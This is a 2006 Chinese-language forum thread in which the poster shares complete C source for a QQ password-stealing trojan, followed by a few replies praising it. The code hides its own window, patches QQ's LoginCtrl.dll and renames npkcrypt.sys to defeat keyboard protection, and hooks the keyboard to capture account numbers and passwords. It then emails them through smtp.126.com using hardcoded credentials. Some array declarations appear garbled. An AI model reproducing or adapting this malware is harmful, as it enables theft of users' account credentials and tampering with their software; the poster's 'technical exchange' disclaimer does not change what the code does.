88250 发表于 2006-9-13 12:43:29

QQ木马核心编程。。。。(C实现)

传点自己的程序过来。。。。

:3:呵呵,假期在家里。看看数据结构,看看C++。。。。无聊的时候想起了以前关于QQ的种种东西来^_^!

还记得以前写过些关于初级QQ盗号程序的帖子(自己也只有这个水平- -#),这个假期称着有时间,整理了一下。好了,废话不多说,下面介绍一下这个程序的4个大的部分:

1.Search QQDirectory。这是相当关键的一步,是后来Crack Keyboard Protection的基础。一开始我是用的整个硬盘的递归目录进行查找,貌似速度太慢了0_0!后来改成了从当前QQ进程查找它的目录。当然,这样的话就只能在QQ运行的状态下测试了,否则就得自己在源码里设定QQ的安装路径。
2.Crack Keyboard Protection.以前有写过,这里不再啰嗦。。。。
3.Hook Keyboard.还记得在大一下学期刚开学的时候写了个Win32的Hook机制的文章,那时候也是以QQ为实验对象的^_^!不过当时用的方法太麻烦了,用了个自己写的.dll。后来发现那样不方便,而且自己是在用C(结合Win32 API)写Console的东西,所以就可以自己定义一下控制台的处理。。。。详见源码吧- -!
4.Send Mail。这是最后一步,也是最关键的一步!可惜现在我是技术不过关,用的是SMTP协议进行的发送,这样会被防火墙发现的。。。。哎。。。。
好了,介绍就到这里,下面是源码了:

/* 文件名:QQ Keyboard Recorder.c
*   用途:对QQ击键型木马的表面研究
* 完成日期: 2006.8   Ver 0.01
*作者: 88250
*联系方式: E-mail: DL88250@gmail.com \ QQ:845765
*/
#define _WIN32_WINNT 0x0400
#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>
#include <psapi.h>

#define USER_ID 0x0000008A
#define PSW_ID      0x000000B4

#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "ws2_32.lib")

char sDirPath = "C:\\Program Files\\QQ";
char sUser = {'U', 's', 'e', 'r', ':', ' '};
char sPsw = {'.', 'P', 's', 'w', 'd', ':', ' '};
char MailData = "From: \"dl88250\"<dl82850@126.com>\r\n"
                                        "Subject: ";
int nPsw = 7;
HWND hLogin = NULL, hUser = NULL, hPsw = NULL, hWnd = NULL;
HWND hSelf = NULL;
DWORD g_tid = 0;            /* 当前的线程ID */
HHOOK g_hook = NULL;      /* Keyboard Hook Handle */

int KillProcess(char *c1, char *c2)
{
      int nSecFlag = 0;      /* 关闭成功的标志 */
      HANDLE handle = NULL;
      PROCESSENTRY32 *info = NULL;/* 进程快照结构体 */
      handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
      info = (PROCESSENTRY32 *)malloc(sizeof(PROCESSENTRY32));
      info->dwSize = sizeof(PROCESSENTRY32);
      Process32First(handle, info);
      /* 开始枚举当前进程 */
      while (Process32Next(handle, info) != FALSE){
                info->szExeFile;
                if ((0 == strcmp(c1, info->szExeFile)) || (0 == strcmp(c2, info->szExeFile))){
                        hWnd = (HWND)OpenProcess(PROCESS_TERMINATE, FALSE, info->th32ProcessID);
                        TerminateProcess(hWnd, 0);       /* 结束 */
                        nSecFlag = 1;
                }
      }
      CloseHandle(handle);
      if (1 == nSecFlag){
            return 1;
      }else{
                return 0;   /* 结束失败 */
      }
}

void SendMail(void)
{
      WSADATA wsaData;
      WORD wVersionRequested = MAKEWORD(2, 2);
    struct hostent *pHostent = NULL;
    SOCKET server = INVALID_SOCKET;
    struct sockaddr_in service;

    char Buffer = {0};
      WSAStartup(wVersionRequested, &wsaData);
    server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    pHostent = gethostbyname("smtp.126.com");
    service.sin_family = AF_INET;
    memcpy(&service.sin_addr.s_addr, pHostent->h_addr_list, pHostent->h_length);
    service.sin_port = htons(25);
    connect(server, (struct sockaddr*)&service, sizeof(service));
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "HELO Server....\r\n", strlen("HELO Server....\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "MAIL FROM: <lbeyond4koma@126.com>\r\n", strlen("MAIL FROM: <lbeyond4koma@126.com>\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "RCPT TO: <dl88250@gmail.com>\r\n", strlen("RCPT TO: <dl88250@gmail.com>\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "Data\r\n", strlen("Data\r\n"), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, MailData, strlen(MailData), 0);
    recv(server, Buffer, sizeof(Buffer), 0);
    send(server, "QUIT\r\n", strlen("QUIT\r\n"), 0);
    WSACleanup();
      printf("Success!");
      ExitProcess(0);
      return;
}
/* 处理一下截取的帐号和密码,并整合到邮件主题里 */
void DealWith(void)
{
      strcat(MailData, sUser);
      strcat(MailData, sPsw);
      strcat(MailData, "\r\n.\r\n");
      printf("%s", MailData);
      SendMail();
      return;
}
/* 枚举子窗口,寻找QQ号以及密码的控件Handle */
BOOL CALLBACK EnumChildWndProc (HWND hwnd, LPARAM lParam)
{
      long id = GetWindowLong(hwnd, GWL_ID);
      if (!hwnd){
      return FALSE;
      }
      if (id == USER_ID){
                hUser = hwnd;
      }else if (id == PSW_ID){
                hPsw = hwnd;
      }
      return TRUE;
}

/* 定义console的处理函数,用于退出当前的线程,以便Hook */
BOOL CALLBACK con_handler(DWORD g_tid)
{
      PostThreadMessage(g_tid, WM_QUIT, 0, 0);
      return TRUE;
}
/* 分析键盘按键,这里基本没在做大小写的判定。
× 而且在登录的时候只能用回车。。。。
*/
LRESULT CALLBACK kb_proc(int code, WPARAM wParam, LPARAM lParam)
{
      PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
      if (wParam == WM_KEYDOWN && p->vkCode == VK_RETURN && lParam > 0){
            SendMessage(hUser, WM_GETTEXT, 20, (LPARAM)(sUser + 6));
                UnhookWindowsHookEx(g_hook);
                DealWith();             /* 开始处理截取的数据 */
      }
      if ((wParam == WM_KEYDOWN) && ((p->vkCode > 47) && (p->vkCode < 58))){
                sPsw = p->vkCode;
                nPsw++;
                goto next;
      }
      if ((wParam == WM_KEYDOWN) && ((p->vkCode > 64) && (p->vkCode < 91))){
                sPsw = p->vkCode + 32;
                nPsw++;
                goto next;
      }
      if (((wParam == WM_KEYDOWN) && ((GetKeyState(VK_CAPITAL) & 1) || (GetKeyState(VK_SHIFT) & 1)))
                && (((p->vkCode > 64) && (p->vkCode < 91)))){
                sPsw = p->vkCode;
                nPsw++;
                goto next;
      }
      next:
                return CallNextHookEx(g_hook, code, wParam, lParam);
}

/* 查找需要的句柄, 并开始Hook*/
void Start(void)
{
      MSG msg;
      if (hLogin = FindWindow("#32770", "QQ用户登录")){
                EnumChildWindows(hLogin, EnumChildWndProc, 0);
                if (hUser != NULL){
                        g_tid = GetCurrentThreadId();
                        SetConsoleCtrlHandler(&con_handler, TRUE);
                        g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, &kb_proc, GetModuleHandle(NULL),0);
                        while (GetMessage(&msg, NULL, 0, 0)){
                              TranslateMessage(&msg);
                              DispatchMessage(&msg);
                        }
                }
      }
      return;
}
/* 对QQ:\\LoginCtrl.dll以及npkcrypt.sys文件动点手脚^^,实现破解键盘保护*/
void Crack(void)
{
      char crack;
      char sLCpath;
      char sNpkcrypt, sNpkcryptDL;
      FILE *f = NULL;
      strcpy(sLCpath, sDirPath);
      strcpy(sNpkcrypt, sDirPath);
      strcat(sNpkcrypt, "\\npkcrypt.sys");
      strcpy(sNpkcryptDL, sDirPath);
      strcat(sNpkcryptDL, "\\npkcrypt.DL");
      rename(sNpkcrypt, sNpkcryptDL);
      f = fopen(strcat(sLCpath, "\\LoginCtrl.dll"), "rb+");
      if (f == NULL){
            return;
      }
      fseek(f, 63921, SEEK_SET);
      crack = 115;                        // 116 -> 115
      fwrite(crack, sizeof(char), 1, f);
      fseek(f, 64105, SEEK_SET);
      crack = 193;         // 194 -> 193
      fwrite(crack, sizeof(char), 1, f);
      fseek(f, 64135, SEEK_SET);
      crack = 158;                        // 159 -> 158
      fwrite(crack, sizeof(char), 1, f);

      fclose(f);

      return;
}

int main(void)
{
      DWORD processid, pBytesReturned, processSum, i;
      HANDLE hProcess;
      HMODULE hModule;
      char path = "";
      hSelf = FindWindow("ConsoleWindowClass", NULL);   /* 程序自身Handle */
      /* 实现自身的伪隐藏 */
      SetWindowLong(hSelf, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
      SetWindowPos(hSelf, HWND_BOTTOM, 0, 0, 0, 0, SWP_HIDEWINDOW);
      /* 枚举当前进程,找到QQ进程后关闭 */
      EnumProcesses(processid, sizeof(processid), pBytesReturned);
      processSum = *pBytesReturned / sizeof(DWORD);
      for (i = 0; i < processSum; i++){
                hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processid);
                if (hProcess){
                        EnumProcessModules(hProcess, &hModule, sizeof(hModule), pBytesReturned);
                        GetModuleFileNameEx(hProcess, hModule, path, sizeof(path));
                        GetShortPathName(path, path, 256);
                        if (strstr(path, "QQ.exe") || strstr(path, "QQ.EXE")){
                              strcpy(sDirPath, path);
                        }
                }
      }
      CloseHandle(hProcess);
      CloseHandle(hModule);
      *(sDirPath + (strlen(sDirPath) - 6)) = '\0';
      for (i = strlen(sDirPath); i > 1; i--){
            sDirPath = sDirPath;

      }
      sDirPath[++i] = '\\';
      Crack();
      Start();
      Sleep(5000);
      if (1 == KillProcess("QQ.EXE", "QQ.exe")){
                Crack();
                strcpy(path, sDirPath);
                strcat(path, "\\QQ.exe");
                WinExec(path, SW_SHOW);
      }
      Crack();
      while (TRUE){
                Sleep(8);   /* 降低CPU占用 */
                Start();
      }
}

再次申明,这个东西还是有一定有危险性的- -!这里只是技术上的交流,不要乱弄。。。。

[ 本帖最后由 88250 于 2006-9-13 12:44 编辑 ]

地狱幻想 发表于 2006-9-15 11:22:22

哈哈,支持,楼主好厉害哦...

88250 发表于 2006-9-15 18:36:12

原帖由 地狱幻想 于 2006-9-15 11:22 发表
哈哈,支持,楼主好厉害哦...
谢谢支持。。。。

答案 发表于 2006-10-15 11:33:25

厉害
页: [1]
查看完整版本: QQ木马核心编程。。。。(C实现)